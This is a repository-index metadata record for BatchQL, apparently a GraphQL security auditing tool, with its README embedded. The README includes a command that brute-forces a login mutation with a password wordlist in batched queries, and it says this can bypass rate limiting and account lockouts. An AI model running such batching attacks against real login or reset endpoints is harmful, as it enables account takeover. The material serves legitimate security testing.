{"id":13565936,"url":"https://github.com/assetnote/batchql","last_synced_at":"2025-04-06T21:16:29.771Z","repository":{"id":54605995,"uuid":"401001836","full_name":"assetnote/batchql","owner":"assetnote","description":"GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations","archived":false,"fork":false,"pushed_at":"2022-12-24T02:18:31.000Z","size":62,"stargazers_count":381,"open_issues_count":5,"forks_count":43,"subscribers_count":8,"default_branch":"master","last_synced_at":"2025-03-30T19:11:28.685Z","etag":null,"topics":["batch","exploit","graphql"],"latest_commit_sha":null,"homepage":"https://blog.assetnote.io/2021/08/29/exploiting-graphql/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/assetnote.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-08-29T09:31:23.000Z","updated_at":"2025-03-13T12:15:35.000Z","dependencies_parsed_at":"2023-01-30T20:00:38.644Z","dependency_job_id":null,"html_url":"https://github.com/assetnote/batchql","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fbatchql","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fbatchql/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fbatchql/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fbatchql/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/assetnote","download_url":"https://codeload.github.com/assetnote/batchql/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247550693,"owners_count":20956987,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["batch","exploit","graphql"],"created_at":"2024-08-01T13:01:58.250Z","updated_at":"2025-04-06T21:16:29.753Z","avatar_url":"https://github.com/assetnote.png","language":"Python","funding_links":[],"categories":["Tools","Weapons","Offensive Security","Python"],"sub_categories":["Tools","Exploitation"],"readme":"# BatchQL\n\nBatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.\n\nWhen exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.\n\nGraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.\n\n# Detections\n\nThis tool is capable of detecting the following:\n\n- Introspection query support\n- Schema suggestions detection\n- Potential CSRF detection\n- Query name based batching\n- Query JSON list based batching\n\n# Attacks\n\nCurrently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.\n\n# Usage\n\n## Enumeration\n\n```\n❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080\n\nSchema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance\nCSRF GET based successful. Please confirm that this is a valid issue.\nCSRF POST based successful. Please confirm that this is a valid issue.\nQuery name based batching: GraphQL batching is possible... preflight request was successful.\nQuery JSON list based batching: GraphQL batching is possible... preflight request was successful.\nMost provide query, wordlist, and size to perform batching attack.\n```\n\n## Batching Attacks\n\n1. Save a file that contains your GraphQL query i.e. `acc-login.txt`:\n\n```\nmutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {\n  emailLoginRemembered(loginInput: $loginInput) {\n    authToken {\n      accessToken\n      __typename\n    }\n    userSessionResponse {\n      userToken\n      userIdentity {\n        userId\n        identityType\n        verified\n        onboardingStatus\n        registrationReferralCode\n        userReferralInfo {\n          referralCode {\n            code\n            valid\n            __typename\n          }\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n  }\n```\n\n2. Run the following command to run a GraphQL batching attack:\n\n```\n❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{\"loginInput\":{\"email\":\"admin@example.com\",\"password\":\"#VARIABLE#\",\"rememberMe\":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080\n```\n\nThe above command does the following:\n\n- Specifies a query from a local file `--query acc-login.txt`.\n- Specifies a wordlist `--wordlist passwords.txt`\n- Specifies the variable input with the replacement identifier `-v {\"loginInput\":{\"email\":\"admin@example.com\",\"password\":\"#VARIABLE#\",\"rememberMe\":false}}`\n- Specifies the batch size `--size 100`\n- Specifies the endpoint `-e http://re.local:5000/graphiql`\n- Specifies a proxy `-p localhost:8080`\n\n# References\n\n- [Exploiting GraphQL](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)\n- [Damn Vulnerable GraphQL Application](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)\n- [GraphQL Batching Attack - Wallarm](https://lab.wallarm.com/graphql-batching-attack/)\n- [Mitigating Batching Attacks](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fassetnote%2Fbatchql","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fassetnote%2Fbatchql","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fassetnote%2Fbatchql/lists"}